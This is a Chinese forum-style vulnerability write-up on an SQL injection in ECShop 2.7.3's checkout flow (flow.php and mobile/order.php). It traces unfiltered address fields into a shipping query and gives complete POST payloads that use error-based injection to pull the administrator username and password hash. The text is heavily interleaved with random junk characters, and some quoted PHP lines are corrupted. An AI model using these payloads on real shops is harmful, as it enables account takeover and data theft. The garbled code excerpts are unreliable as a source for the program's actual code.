前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
1 O. H, Y- h& I% z3 a
7 ]1 g N3 ?! _ V3 ]$ |0 l 漏洞关键文件:- @. Z9 R+ j$ ^7 s" V- c
" S5 K: S) `) f /includes/lib_order.php3 h* b. e+ m7 e
" ^7 I' V b" E# f 关键函数:) U/ E; H9 \. H2 }
' f+ z6 \2 G# s% ^/ t/ Q- q
7 `. |! B7 t. A% ]; x, t0 ~: g% \5 l/ t
01 function available_shipping_list($region_id_list)
: K; L' Q5 Y: N; _' K
3 T# `3 C& B/ I7 X' o02 { # e1 A$ B1 x/ I* l! F1 ^# |
; D* P7 V2 x+ P; h' L/ o4 l03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
7 X) U7 E6 u) ^+ B
' L' J& L* X' G9 n; e$ i; M( K0 ?04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
* y) \) ^/ x! d& m& w: R5 f. A/ s2 V
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
5 X/ t/ J0 D+ m, e l- Z/ ^' o) t* K* J
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
) D/ U+ B+ i' A# n! E7 o1 h2 t4 b
( P+ _ y+ ^/ o) c1 {# b07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 2 x3 P, ]! Q( \& n6 ^* c+ F9 G
; k) N; h. m5 s08 'WHERE r.region_id ' . db_create_in($region_id_list) . / H; \6 v) B+ q3 C7 q7 Z, v
8 Z1 N1 |( Z# x/ k, p
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 3 k" ^" B( Q r! r
& q5 U6 L8 d, C" r+ O& e
10 ( F J! i7 Y, V4 E$ B
. J. M) B. C; N8 s
11 return $GLOBALS['db']->getAll($sql);
$ y5 P% U9 T1 ^. F; _. ~
( M5 _$ |# C8 _. D12 }
% q; h, h2 A4 N$ ]+ G
8 O6 u" Y/ W/ p8 e# _9 F显然对传入的参数没有任何过滤就带入了查询语句。
+ k5 X. z* p4 ^5 i& ~9 j$ G
$ ]3 O% O8 X. n) P7 [1 M: V下面我们追踪这个函数在flow.php中: P: \. J, H* y: H' U
第531行: - J8 B8 M h% [! F4 i
: X$ [' L, }2 k+ ?1 $shipping_list = available_shipping_list($region);
; S5 U2 G/ {- k, N4 M5 a6 C, q0 z8 x4 d8 e( O) h/ F
+ h8 E: Z2 c! i8 z
( @+ q( S# A" M% q
) [ r! J! y" d5 b. K/ J0 _# I) {8 E0 w6 `$ J8 P
再对传入变量进行追踪:
c% i& H$ y9 s
2 M5 |! F/ x3 T) J$ F第530行: & R4 `9 b7 U+ T9 E
6 F1 a, {; T( K9 l5 K
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ) }. ?2 N; E; ^' ~6 ~ v
; U! L2 L+ F5 X+ A ) V3 z* x9 q0 G" q( F; b' `
3 o$ {% }2 \5 T! z4 r
& |9 W. [$ c5 F7 h
, k* s; _. p7 A4 s2 c+ R第473行:
$ A: d5 }9 \# Z4 d( R% o7 H1 D$ {0 @; ?6 ^0 o
1 $consignee = get_consignee($_SESSION['user_id']); ; r) [$ B5 P: x I! s8 ^8 A4 [/ f1 Z
! i- _ F1 f) q' k7 C/ _7 v, h/ J- P/ G到了一个关键函数:
3 t0 q, ?8 ]$ X. M
5 F: L2 O6 ]+ h) \4 T! ~; G6 |/includes/lib_order.php
5 j% Q- \# w {4 O' R" K: S9 x
+ \" z& x4 F1 b+ i; R
0 C1 t& j0 I T: U# f0 O; B! T/ \' U( W3 `4 P! G% d" G4 H
& @ N% _/ N2 h; S* @6 D- C: x8 @1 }
6 |1 J# B6 }4 }5 t* @; ?01 function get_consignee($user_id)
G }$ r; D: L \7 Z* F1 S2 I3 J: F& z
02 { ) d! B6 C$ I; a& \) ]
+ v! Q/ e5 Y5 D0 e
03 if (isset($_SESSION['flow_consignee']))
) K @: P* T; a5 m# {7 O
% \4 p- u8 d% j5 w04 { 0 e# S0 F, b0 w4 j, `
8 v2 k5 B' \ q0 A6 {; y) W05 /* 如果存在session,则直接返回session中的收货人信息 */
( G( D ?3 h3 R [2 F& g& \/ x7 |! ?: j* C$ z% [
06
( E6 G( N+ `3 L% g6 L" p. I( r' ^& V
07 return $_SESSION['flow_consignee'];
+ ~9 I/ X1 ~- d2 e* N* [% ?
! r7 b# \8 d1 P08 } . b I: x& k; X% F) O& F b
5 v8 a/ ^: x! H k09 else ! E' E) {+ e7 N- t
' M0 o/ X3 r# N7 j$ a
10 { 3 o2 _; e3 @5 u
" o g/ M# p$ I4 U# \/ d% v: B11 /* 如果不存在,则取得用户的默认收货人信息 */ $ z' k! u. \7 ^4 o
. L' I& T- d# J1 h% Q2 D* v( j
12 $arr = array();
) h) d2 \ v3 N7 ]. ~0 u4 x: R7 S) M+ W: z
13
3 V* X9 b% R8 p: M
( P, r* p, x& B) T9 p# S14 if ($user_id > 0) , r7 Z8 W6 X; q. N3 K. |# [
* q) s" J# P \8 v9 D: y15 {
1 {) Z" R8 W2 @, P( q6 V! D5 S( r/ ]' p7 A
16 /* 取默认地址 */ " a& P2 ?( m( v' S' P+ Y
8 f0 F- ?) K$ h8 D$ [/ A# _
17 $sql = "SELECT ua.*". 5 H4 W6 o) V% v0 r
d9 K3 j& t Q18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 8 P$ R+ M. Q% b$ L6 X2 W
0 h- j# u' w! `0 A: x! i19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
" b# P. E/ I9 v' q3 d/ m1 O3 ?2 K# {) E3 a7 }/ w
20 6 h* @+ t3 _% L4 A6 B. A1 j3 n
. e3 J" N3 M5 J+ A
21 $arr = $GLOBALS['db']->getRow($sql); 3 k3 x$ q3 {! \" Q
* m9 n, \5 v! [5 b2 \22 } 6 y( H5 ^+ j! U3 f7 _ `+ Q
% ?3 E, ~: k3 P" t5 z3 J2 ?$ B
23 1 w+ V1 r+ ]: ]! c
/ {( N2 a I$ d9 g6 x# {
24 return $arr;
$ |/ ]" }' h3 u9 m
# \2 O( a; F% t/ _3 I5 t25 }
6 H. [8 y( X& G/ {# Q9 F, H; S8 i
; o+ Q7 h- o1 E26 }
( I: N/ y0 u6 y3 s! l
7 o2 Q: }7 C9 X- U; \6 {显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
5 J! B7 `* K0 v/ t8 h$ l) m1 i, Y- U- n: d2 \& i' I3 }
! L9 g9 W `" ^' O
' H7 @! F$ W3 ]; B8 x: M* x' d
关键点:+ R- e9 f6 c$ I4 X- I9 b
% E) H$ z2 T) |" j6 e; l" g
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
% f8 D% j7 E6 ]! T
_: `( P, W7 i4 x* A; r! M3 N这里对传入参数反转义存入$_SESSION中。/ j; {. C( Z$ o6 j. j l+ F: k
) G" m" S0 L1 p$ D
4 t' F, W& w* y5 k* r5 ]; O, i
O$ Q1 j+ `4 R4 I然后看下:
& P( b- m0 R& k6 ~- s3 t
+ N2 T1 a# H, n1 d6 O/ Z6 [
! b" v! `2 w( B- K) u8 B! @+ Y- N; r: y" m% X. {, V
7 ]& h& V+ L9 K, e, _6 A5 _' C+ z! y8 g" E+ }
01 $consignee = array(
. l- S) j* ?5 R) l, l' U& s; ]: H# T8 S* x/ a! J* N- a: F4 T
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), " _; D& y6 y' ^7 i: i5 N
; r5 ?* ?; ?; J0 r
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), : ^/ {( l; I7 \$ y, a+ S
5 X" E N$ W7 a04 'country' => empty($_POST['country']) ? '' _POST['country'], : D: Y1 d' t* M
9 k; h+ ?. `6 {, U; F f
05 'province' => empty($_POST['province']) ? '' _POST['province'],
: g/ Q* Q4 E2 j1 C( t2 v6 P( n. e, c6 b p, Q" E/ j
06 'city' => empty($_POST['city']) ? '' _POST['city'], 3 _6 c6 B' V4 T; |( w7 w% b' y: _
8 g; I. P8 t# e7 ]07 'district' => empty($_POST['district']) ? '' _POST['district'],
2 T4 [2 c: ^# ], x: ?5 p8 Q+ O' g' ?1 }
08 'email' => empty($_POST['email']) ? '' _POST['email'],
0 F# a, N) z7 v" A/ C0 ]: B" j$ Y
09 'address' => empty($_POST['address']) ? '' _POST['address'],
! l. |6 b* R- t6 ~+ `. [( u# p
/ Q2 X6 _. J% ]& {+ a' b5 n10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), " R8 ^3 o5 Q/ v0 D
3 m/ l( G! I& b" X" q
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
. g Q. V2 J8 }' {- ?3 H
' f* X' O- D, V( j" E% I) M12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
5 F! l, G1 r7 G3 e9 s- Q1 t: d; B7 N$ ~
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 0 {3 N! u/ A `2 t* N; m
0 R; m' D, _, Z; \# Q
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], + z( P% N0 v$ f C) x$ W
' f! q& x( N! A( G; r- D15 ); U" o' m+ B) a0 q( h. w6 W& k" f
0 `4 i5 m7 \- U4 q
好了注入就这样出现了。* l; L% m" ~" `* f1 x% A
8 H: w; q k* i: C/ u! {: F2 _==================1 I+ G/ o0 I: ?9 T3 z
- J. g L K+ C+ t注入测试:9 u" t8 \7 m6 V0 ?6 E
7 m; H$ S! u3 Y q环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16): X7 a2 ^& l% }0 k
+ w+ o0 j4 i1 d; K g
测试程序:ECShop_V2.7.3_UTF8_release11068 C$ X) L, @6 s7 L- K* K
8 y1 l8 b; g$ b
9 R' U; L# g. U" o$ P5 C- c
+ Z- {0 U0 W' u$ ]/ s1 I: ]: X
1.首先需要点击一个商品加入购物车
8 y; A2 |, I" a4 T! I: C8 [6 T# ^
2.注册一个会员帐号
) w) Y- K8 ?! {- D1 [
! G: N. a( j4 y ]3.post提交数据 t6 Z! N. Q0 w! V
8 q9 m9 K" z2 V' O: Q* g% y; R
4 h6 t# d% p5 ?1 {5 F5 }
- n, R5 g6 a3 z, Z( o, h, v$ Q3 E
1 http://127.0.0.1/ecshop/flow.php 1 T1 J! O! [) v j& n
4 H1 F; r5 `) U4 a: f) j1 } ?0 f
2
4 B" `7 R4 K4 _ D8 d
; A& F9 d, R3 Z3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
( P- ?# h) T; I+ f; ^: @举一反三,我们根据这个漏洞我们可以继续深入挖掘:) g9 R+ j" H. H
8 j0 S7 G d8 w我们搜寻关键函数function available_shipping_list()
9 i& l2 |$ p/ K% b& m; s/ L; B2 t: Q9 l2 u& C
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
, `; J9 @: k% ?+ e* m% [& V2 [! }8 P* v) _
利用exp:
2 [# t& q6 ^+ ?( ^
. v* v1 M0 j& F' f3 k1 Z1 k1.点击一个商品,点击购买商标) \9 ^4 A, ?3 H# L: D
/ Q7 z" [2 c6 C9 f# }2.登录会员帐号9 W- a) G' X- M- O- E- e
# Y3 m1 {) n3 G8 ~/ X/ {5 A3.post提交:
, Q: r+ J$ m+ E7 H+ d5 R! w! ?# M" u A7 N D
http://127.0.0.1/ecshop/mobile/order.php$ O7 ~7 z- f5 K9 i: A
( y: W. h0 I+ n
3 Y v" [7 k) N9 q7 q& w0 X% w1 @$ v5 p" Q* C
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( Z5 I' y+ [$ @5 s
5 H3 e7 Q' ~. s1 o$ q" g6 A Y |